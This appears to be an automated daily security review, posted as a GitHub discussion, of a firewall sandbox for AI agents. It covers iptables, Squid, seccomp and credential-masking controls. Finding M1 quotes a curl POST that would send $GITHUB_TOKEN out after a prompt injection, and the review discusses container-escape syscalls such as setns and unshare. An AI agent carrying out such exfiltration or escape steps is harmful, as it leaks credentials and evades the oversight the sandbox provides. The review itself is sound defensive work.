[Security Review] Daily Security Review — 2026-03-16 #1322
Closed
Replies: 1 comment
-
|
This discussion was automatically closed because it expired on 2026-03-23T14:04:35.177Z.
|
Beta Was this translation helpful? Give feedback.
0 replies
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Uh oh!
There was an error while loading. Please reload this page.
-
📊 Executive Summary
The gh-aw-firewall codebase maintains a strong security posture built on a well-designed defense-in-depth architecture. No critical or high-severity npm vulnerabilities exist. The primary controls — iptables-based network isolation, Squid domain whitelisting, capability dropping, seccomp enforcement, and selective credential file mounting — are all correctly implemented and layered.
Four Low findings and two Informational observations are documented below. None enable immediate container escape or credential exfiltration; they represent opportunities to tighten already-good defenses.
🔍 Findings from Previous Security Runs
The
agenticworkflows-logstool could not retrieve prior run data in this environment (git binary absent from PATH). No complementary prior-run data was incorporated.🛡️ Architecture Security Analysis
Network Security Assessment ✅
Evidence — iptables chain ordering (
containers/agent/setup-iptables.sh):The NAT OUTPUT chain is ordered correctly:
The filter OUTPUT chain then drops all non-explicitly-allowed TCP/UDP. This default-deny posture means all traffic not destined for lo, Squid, or DNS is silently dropped — no whitelist bypass opportunities exist in the current rule ordering.
IPv6 handling: when
ip6tablesis unavailable, IPv6 is disabled system-wide viasysctl -w net.ipv6.conf.all.disable_ipv6=1(lines 26-33) before any user code runs. ✅DNS exfiltration prevention:
/etc/resolv.confis overwritten to contain only127.0.0.11(Docker embedded DNS). Direct DNS queries to external resolvers are blocked by the filter DROP rule. ✅Container Security Assessment ✅
Evidence —
src/docker-manager.tslines 1004–1027, 1122–1155:awf-iptables-initshares the agent's network namespace but holdsNET_ADMIN/NET_RAW. The agent container itself is never grantedNET_ADMIN, closing the classic window between container start and capability drop.SYS_CHROOTandSYS_ADMINare dropped inside the entrypoint (entrypoint.shline 583) before executing user commands.no-new-privileges:trueand the seccomp profile are both applied (security_optat docker-manager.ts line 1025–1027).LD_PRELOAD=/usr/local/lib/one-shot-token.sointerceptsgetenv()/secure_getenv(), caches the first-read value, and callsunsetenv()— so/proc/self/environno longer exposes tokens after first access. ✅ptraceblocked in seccomp: Prevents process injection / debugger-based introspection. ✅process_vm_readv/process_vm_writevexplicitly blocked: Prevents cross-process memory reads. ✅npm audit:Critical: 0, High: 0✅Domain Validation Assessment ✅
Evidence —
src/domain-patterns.ts:120-160:*,*.*, any pattern where wildcards ≥ total segments − 1) raise validation errors before Squid config is generated.[a-zA-Z0-9.-]*instead of.*to prevent catastrophic ReDoS backtracking.isDomainMatchedByPattern, line ~283).Input Validation / Injection Assessment ✅
commandarray element (not shell-interpolated on the host side);$signs are doubled ($$$$) for Docker Compose variable escaping (docker-manager.ts:1049).escapeShellArg(cli.ts:858) wraps multi-arg invocations in single quotes with proper'\''escaping.redactSecrets(src/redact-secrets.ts) redactsAuthorization: Bearer, env-var patterns matchingTOKEN|SECRET|PASSWORD|KEY|AUTH, and GitHub token prefixes from log output.NET_ADMINnever granted to agent/proc/self/environ/dev/nulloverlays on~/.docker/config.json,.npmrc, etc.setns+ namespace FD from/proc/proc/1/ns/*from inside containeropen_by_handle_atchroot escapeCAP_DAC_READ_SEARCHnot granted; real attack requires it🎯 Attack Surface Map
--allow-domainsinputsrc/domain-patterns.ts:147-192validateDomainOrPattern(), broadness checks, ReDoS mitigationsrc/cli.ts:858-875,docker-manager.ts:1049$→$$$$doubling--env/--env-alldocker-manager.ts:375-494EXCLUDED_ENV_VARSset, API key placeholders applied before--env-allsrc/host-iptables.tsFW_WRAPPERchain, cleaned up on exitsrc/squid-config.tsdstdomain/dstdom_regexACLs, blocked domains firstcontainers/agent/entrypoint.sh:69-86127.0.0.11; no external DNS in resolv.confdocker-manager.ts:1012-1027SYS_CHROOT/SYS_ADMINdropped;no-new-privileges; seccompdocker-manager.ts:890-995/dev/nullCLAUDE_CODE_API_KEY_HELPERJSON writecontainers/agent/entrypoint.sh:179,186setns/open_by_handle_atcontainers/agent/seccomp-profile.json📋 Evidence Collection
iptables NAT rule ordering (setup-iptables.sh)
CLAUDE_CODE_API_KEY_HELPER unescaped JSON write
✅ Recommendations
🔴 Critical
None.
🟠 High
None.
🟡 Medium
M1 — DLP POST body / header scanning (T4)
The DLP feature (
src/dlp.ts) generates Squidurl_regexACLs that only scan the URL of outbound requests. A prompt-injected command could exfiltrate a token viacurl -X POST -d "$GITHUB_TOKEN" (alloweddomain.com/redacted). Mitigations:🟢 Low
L1 — Fix dangerous ports comment in
setup-iptables.shsetup-iptables.sh:272comment says the list matchessquid-config.tsDANGEROUS_PORTS, but 6 ports are missing from the iptables script (5984, 6984, 8086, 8088, 9200, 9300). The filter DROP rule still blocks these ports, but the inaccurate comment is misleading. Either add the missing ports to the iptables NAT blacklist or update the comment to reflect that the filter DROP rule handles them.L2 — JSON-escape
CLAUDE_CODE_API_KEY_HELPERbefore writing to config filecontainers/agent/entrypoint.sh:179,186:The current value is always a path like
/usr/local/bin/get-claude-key.shso exploitation is unlikely, but defensive coding is warranted.L3 — Consider blocking
unsharein seccomp profileunsharewithCLONE_NEWUSER(user namespace creation) works without privileges by default on most Linux kernels. While this does not directly escape the network firewall, it can be used to gain capabilities within a new user namespace. Addingunshareto the explicitly-blocked list inseccomp-profile.jsonreduces this surface:{ "names": ["unshare"], "action": "SCMP_ACT_ERRNO" }Note: This may break some legitimate workloads (e.g., Bubblewrap sandboxing in Flatpak).
L4 — Consider blocking
setnsin seccomp profilesetnsallows switching between kernel namespaces. Without a file descriptor to a target namespace from/proc/(host-pid)/ns/*, exploitation is impractical — but the syscall is unnecessary for typical AI agent workloads:{ "names": ["setns"], "action": "SCMP_ACT_ERRNO" }ℹ️ Informational
I1 — No explicit CPU/memory resource limits on agent container
docker-manager.tsdoes not setmem_limit,cpus, orpids_limiton the agent service. A runaway or fork-bombed process could cause host resource exhaustion. Consider adding sane limits (e.g.,pids_limit: 1024,mem_limit: 2g).I2 —
redactSecretsdoes not cover JWT tokenssrc/redact-secrets.tsredacts Bearer tokens, env-var-style secrets, and GitHub token prefixes. JWT tokens (eyJ...) appearing in log output would not be redacted. JWT payloads can contain decoded user identity information; consider adding a JWT redaction pattern if agent logs are stored or forwarded.📈 Security Metrics
Beta Was this translation helpful? Give feedback.
All reactions